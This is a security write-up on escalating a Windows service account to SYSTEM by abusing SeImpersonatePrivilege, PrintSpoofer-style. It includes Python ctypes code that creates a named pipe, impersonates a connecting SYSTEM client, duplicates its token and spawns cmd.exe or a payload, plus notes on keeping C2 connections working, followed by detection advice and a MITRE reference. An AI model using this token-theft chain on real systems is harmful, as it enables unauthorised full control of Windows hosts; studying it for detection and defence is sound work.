PrintSpoofer exploit - Service account to SYSTEM
SeImpersonatePrivilege lets a process temporarily act as another user. Web servers and databases legitimately need it. An attacker with code running as a low-privilege service account (IIS, MSSQL) creates a fake named pipe, tricks a high-privilege Windows service into connecting to it, then steals its security token. The result: full SYSTEM access from a web shell or SQL injection. Potato exploits (GodPotato, PrintSpoofer) automate this chain.
Windows assigns SeImpersonatePrivilege to service accounts that need to act on behalf of other users. When services like IIS, SQL Server, or SSH servers run as NETWORK SERVICE or LOCAL SERVICE, they inherit this privilege.
The privilege allows a process to impersonate any token it can obtain a handle to. This is by design - services need to handle requests from different users. But attackers abuse this to escalate from service account to SYSTEM.
ImpersonateNamedPipeClient() to steal the SYSTEM tokenDuplicateTokenEx() creates a usable primary tokenCreateProcessWithTokenW() launches a SYSTEM shellWindows isolates services in Session 0. Interactive users run in Session 1+. When escalating, the API choice determines which session the new process runs in:
CreateProcessAsUser() - Forces Session 0. No GUI, no inherited handles, C2 connections may break.CreateProcessWithTokenW() with LOGON_WITH_PROFILE - Keeps interactive session. GUI works, handles inherited.Defenders should understand why attackers prefer certain APIs - it reveals their operational needs.
Once the pipe client connects as SYSTEM, the full token chain to a SYSTEM process:
# Named pipe token steal — source: uac-to-system-poc (sanitized) import ctypes, ctypes.wintypes as wt kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) advapi32 = ctypes.WinDLL('advapi32', use_last_error=True) # 1. Create a named pipe and wait for SYSTEM to connect pipe = kernel32.CreateNamedPipeW( r'\\\\.\\pipe\\[YOUR_PIPE_NAME]', 0x00000003, # PIPE_ACCESS_DUPLEX 0x00000004, # PIPE_TYPE_MESSAGE 10, 2048, 2048, 0, None ) kernel32.ConnectNamedPipe(pipe, None) # blocks until connection # 2. Impersonate the pipe client (must be SYSTEM or high-priv) advapi32.ImpersonateNamedPipeClient(pipe) # 3. Get the impersonation token for the current thread h_token = wt.HANDLE() advapi32.OpenThreadToken( kernel32.GetCurrentThread(), 0xF01FF, # TOKEN_ALL_ACCESS False, ctypes.byref(h_token) ) # 4. Duplicate to a primary token (required for CreateProcessWithTokenW) h_primary = wt.HANDLE() advapi32.DuplicateTokenEx( h_token, 0xF01FF, # TOKEN_ALL_ACCESS None, 2, # SecurityImpersonation 1, # TokenPrimary ctypes.byref(h_primary) ) # 5. Spawn process under SYSTEM token advapi32.CreateProcessWithTokenW( h_primary, 0x00000002, None, "cmd.exe", # or your payload None, None, None, ctypes.byref(si), ctypes.byref(pi) ) # result: cmd.exe running as NT AUTHORITY\SYSTEM
For the direct winlogon token theft path (no pipe required, needs SeDebugPrivilege), see Token Stealing writeup.
Monitor for: Named pipe creation from unusual processes. Token manipulation API calls (ImpersonateNamedPipeClient, DuplicateTokenEx) from non-service binaries. SYSTEM processes spawning with interactive session IDs. Rapid privilege changes in the same process context.
SeImpersonatePrivilege from accounts that don't need itPrintSpoofer exploit: SeImpersonatePrivilege → named pipe → SYSTEM shell. Lab environment, Windows 10 22H2.
MITRE ATT&CK: T1134.001 (Access Token Manipulation: Token Impersonation/Theft)